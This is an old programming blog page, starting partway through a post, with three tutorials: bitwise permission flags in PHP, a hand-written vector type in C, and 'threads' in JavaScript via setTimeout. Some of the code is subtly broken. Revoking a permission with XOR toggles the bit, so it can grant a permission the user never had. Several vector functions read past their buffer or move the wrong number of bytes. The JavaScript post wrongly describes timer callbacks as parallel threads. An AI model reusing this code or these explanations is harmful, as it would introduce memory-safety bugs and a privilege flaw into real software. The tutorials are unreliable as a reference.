Suppose that this is on top of your post_blog.php or where ever you want to handle permissions for posting a blog, the only thing you need to do is:

<?php
 
	if ($user_perms & $perms['can_post']) {
		/* He/She has permissios to do this */
	} else {
		/* He/She doesn't */
	}
 
?>

In PHP ‘&’ is for bitwise ‘and’, please also note that ‘&&’ is logical ‘and’ and doesn’t operate on individual bits.

This is exactly what just happened:

|0|0|0|0|0|1|1|1| ‘and’
|0|0|0|0|0|0|0|1|
_______________________
|0|0|0|0|0|0|0|1|

So that’s ‘one’ not ‘0′, which means ‘if’ passes and the user has permissions to do this. But when it comes to deleting posts:

<?php
 
	if ($user_perms & $perms['can_delete']) {
		/* He/She does permissios to do this */
	} else {
		/* He/She doesn't */
	}
 
?>

Thus:

|0|0|0|0|0|1|1|1| ‘and’
|0|0|0|0|1|0|0|0|
_______________________
|0|0|0|0|0|0|0|0|

It’s ‘zero’ so ‘if’ fails and you show an error message or whatever it is you do.

To add ‘delete’ permissions, you use ‘or’ again:

<?php
 
	$user_perms |= $perms['can_delete'];
 
?>

So this happens:

|0|0|0|0|0|1|1|1| ‘or’
|0|0|0|0|1|0|0|0|
_______________________
|0|0|0|0|1|1|1|1|

To take away permissions you use ‘xor’:

<?php
 
	$user_perms ^= $perms['can_delete'];
 
?>

And this will happen:

|0|0|0|0|1|1|1|1| ‘xor’
|0|0|0|0|1|0|0|0|
_______________________
|0|0|0|0|0|1|1|1|

And delete permissions are gone!

Now let’s take away post permissions:

<?php
 
	$user_perms ^= $perms['can_post'];
 
?>

Thus:

|0|0|0|0|0|1|1|1| ‘xor’
|0|0|0|0|0|0|0|1|
_______________________
|0|0|0|0|0|1|1|0|

So this was just the basics, you can build on this and do more once you understand.

I hope this post will help someone :)

How to write a permission system using bits and bitwise operations in PHP
Comments (7)   Filed under: PHP, Programming, Security, Web Development   Posted by: Codehead on July 24, 2009

Implementation of a Vector data structure in C

I use Python a lot but it’s very slow in some cases which I then use C because it can be 1,000s X faster than Python.

Here is a Vector that I just wrote to use in my new project:

vector.h

/**
 * Hamid Alipour
 */
 
#ifndef __VECTORH__
#define __VECTORH__
 
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <assert.h>
 
#define VECTOR_INIT_SIZE    4
#define VECTOR_HASSPACE(v)  (((v)->num_elems + 1) <= (v)->num_alloc_elems)
#define VECTOR_INBOUNDS(i)	(((int) i) >= 0 && (i) < (v)->num_elems)
#define VECTOR_INDEX(i)		((char *) (v)->elems + ((v)->elem_size * (i)))
 
typedef struct _vector {
	void *elems;
	size_t elem_size;
	size_t num_elems;
	size_t num_alloc_elems;
    void (*free_func)(void *);
} vector;
 
extern void vector_init(vector *, size_t, size_t, void (*free_func)(void *));
extern void vector_dispose(vector *);
extern void vector_copy(vector *, vector *);
extern void vector_insert(vector *, void *, size_t index);
extern void vector_insert_at(vector *, void *, size_t index);
extern void vector_push(vector *, void *);
extern void vector_pop(vector *, void *);
extern void vector_shift(vector *, void *);
extern void vector_unshift(vector *, void *);
extern void vector_get(vector *, size_t, void *);
extern void vector_remove(vector *, size_t);
extern void vector_transpose(vector *, size_t, size_t);
extern size_t vector_length(vector *);
extern size_t vector_size(vector *);
extern void vector_get_all(vector *, void *);
extern void vector_cmp_all(vector *, void *, int (*cmp_func)(const void *, const void *));
extern void vector_qsort(vector *, int (*cmp_func)(const void *, const void *));
static void vector_grow(vector *, size_t);
static void vector_swap(void *, void *, size_t);
 
#endif

And vector.c

/**
 * Hamid Alipour
 */
 
#include "vector.h"
 
extern void vector_init(vector *v, size_t elem_size, size_t init_size, void (*free_func)(void *))
{
	v->elem_size = elem_size;
	v->num_alloc_elems = (int) init_size > 0 ? init_size : VECTOR_INIT_SIZE;
	v->num_elems = 0;
	v->elems = malloc(elem_size * v->num_alloc_elems);
	assert(v->elems != NULL);
	v->free_func = free_func != NULL ? free_func : NULL;
}
 
extern void vector_dispose(vector *v)
{
	size_t i;
 
	if (v->free_func != NULL) {
		for (i = 0; i < v->num_elems; i++) {
			v->free_func(VECTOR_INDEX(i));
		}
	}
 
	free(v->elems);
}
 
 
extern void vector_copy(vector *v1, vector *v2)
{
	v2->num_elems = v1->num_elems;
	v2->num_alloc_elems = v1->num_alloc_elems;
	v2->elem_size = v1->elem_size;
 
	v2->elems = realloc(v2->elems, v2->num_alloc_elems * v2->elem_size);
	assert(v2->elems != NULL);
 
	memcpy(v2->elems, v1->elems, v2->num_elems * v2->elem_size);
}
 
extern void vector_insert(vector *v, void *elem, size_t index)
{
	void *target;
 
	if ((int) index > -1) {
		if (!VECTOR_INBOUNDS(index))
			return;
		target = VECTOR_INDEX(index);
	} else {
		if (!VECTOR_HASSPACE(v))
			vector_grow(v, 0);
		target = VECTOR_INDEX(v->num_elems);
		v->num_elems++; /* Only grow when adding a new item not when inserting in a spec indx */
	}
 
	memcpy(target, elem, v->elem_size);
}
 
extern void vector_insert_at(vector *v, void *elem, size_t index)
{
	if ((int) index < 0)
		return;
 
	if (!VECTOR_HASSPACE(v))
		vector_grow(v, 0);
 
	if (index < v->num_elems)
		memmove(VECTOR_INDEX(index + 1), VECTOR_INDEX(index), (v->num_elems - index) * v->elem_size);
 
	/* 1: we are passing index so insert won't increment this 2: insert checks INBONDS... */
	v->num_elems++;
 
	vector_insert(v, elem, index);
}
 
extern void vector_push(vector *v, void *elem)
{
	vector_insert(v, elem, -1);
}
 
extern void vector_pop(vector *v, void *elem)
{
	memcpy(elem, VECTOR_INDEX(v->num_elems - 1), v->elem_size);
	v->num_elems--;
}
 
extern void vector_shift(vector *v, void *elem)
{
	memcpy(elem, v->elems, v->elem_size);
	memmove(VECTOR_INDEX(0), VECTOR_INDEX(1), v->num_elems * v->elem_size);
 
	v->num_elems--;
}
 
extern void vector_unshift(vector *v, void *elem)
{
	if (!VECTOR_HASSPACE(v))
		vector_grow(v, v->num_elems + 1);
 
	memmove(VECTOR_INDEX(1), v->elems, v->num_elems * v->elem_size);
	memcpy(v->elems, elem, v->elem_size);
 
	v->num_elems++;
}
 
extern void vector_transpose(vector *v, size_t index1, size_t index2)
{
	vector_swap(VECTOR_INDEX(index1), VECTOR_INDEX(index2), v->elem_size);
}
 
static void vector_grow(vector *v, size_t size)
{
	if (size > v->num_alloc_elems)
		v->num_alloc_elems = size;
	else
		v->num_alloc_elems *= 2;
 
	v->elems = realloc(v->elems, v->elem_size * v->num_alloc_elems);
	assert(v->elems != NULL);
}
 
extern void vector_get(vector *v, size_t index, void *elem)
{
	assert((int) index >= 0);
 
	if (!VECTOR_INBOUNDS(index)) {
		elem = NULL;
		return;
	}
 
	memcpy(elem, VECTOR_INDEX(index), v->elem_size);
}
 
extern void vector_get_all(vector *v, void *elems)
{
	memcpy(elems, v->elems, v->num_elems * v->elem_size);
}
 
extern void vector_remove(vector *v, size_t index)
{
	assert((int) index > 0);
 
	if (!VECTOR_INBOUNDS(index))
		return;
 
	memmove(VECTOR_INDEX(index), VECTOR_INDEX(index + 1), v->elem_size);
	v->num_elems--;
}
 
extern void vector_remove_all(vector *v)
{
	v->num_elems = 0;
	v->elems = realloc(v->elems, v->num_alloc_elems);
	assert(v->elems != NULL);
}
 
extern size_t vector_length(vector *v)
{
	return v->num_elems;
}
 
extern size_t vector_size(vector *v)
{
	return v->num_elems * v->elem_size;
}
 
extern void vector_cmp_all(vector *v, void *elem, int (*cmp_func)(const void *, const void *))
{
	size_t i;
	void *best_match = VECTOR_INDEX(0);
 
	for (i = 1; i < v->num_elems; i++)
		if (cmp_func(VECTOR_INDEX(i), best_match) > 0)
			best_match = VECTOR_INDEX(i);
 
	memcpy(elem, best_match, v->elem_size);
}
 
extern void vector_qsort(vector *v, int (*cmp_func)(const void *, const void *))
{
	qsort(v->elems, v->num_elems, v->elem_size, cmp_func);
}
 
static void vector_swap(void *elemp1, void *elemp2, size_t elem_size)
{
	void *tmp = malloc(elem_size);
 
	memcpy(tmp, elemp1, elem_size);
	memcpy(elemp1, elemp2, elem_size);
	memcpy(elemp2, tmp, elem_size);
 
             free(tmp); /* Thanks to gromit */
}

It works :) I will write another post with some example usage soon…

Notice that, all the functions that return a value, return it through their arguments and not the “return” statement, this is because I wanted the client to be responsible for allocating/freeing memory for these variables and that makes everyone’s job easier.

As always, I’m open to criticism/ideas and please use it at your own risk.

Implementation of a Vector data structure in C
Comments (3)   Filed under: C Programming, Data Structures, Low Level, Programming   Posted by: Codehead on July 23, 2009

Basic threading in JavaScript; multiple threads of execution in JavaScript

I was searching the web yesterday for this and didn’t really find a simple way of doing this and suddenly, I remembered something.

It’s extremely simple, someone could build on it with all sorts of features but for now, here is an example:
http://images.code-head.com/code/javascript/js-threads.html

As you can see there are two counters, one is counting up and the other down simultaneously.

Here is the start_thread function:

             function thread_start(callback) {
		setTimeout(callback, 1);
		return true;
	}

The trick is that setTimeout *does not* block the execution ;)

I hope this helps someone :)

Basic threading in JavaScript; multiple threads of execution in JavaScript
Comments (1)   Filed under: Fun, General, JavaScript, Programming, jQuery   Posted by: Codehead on June 30, 2009
Older Posts »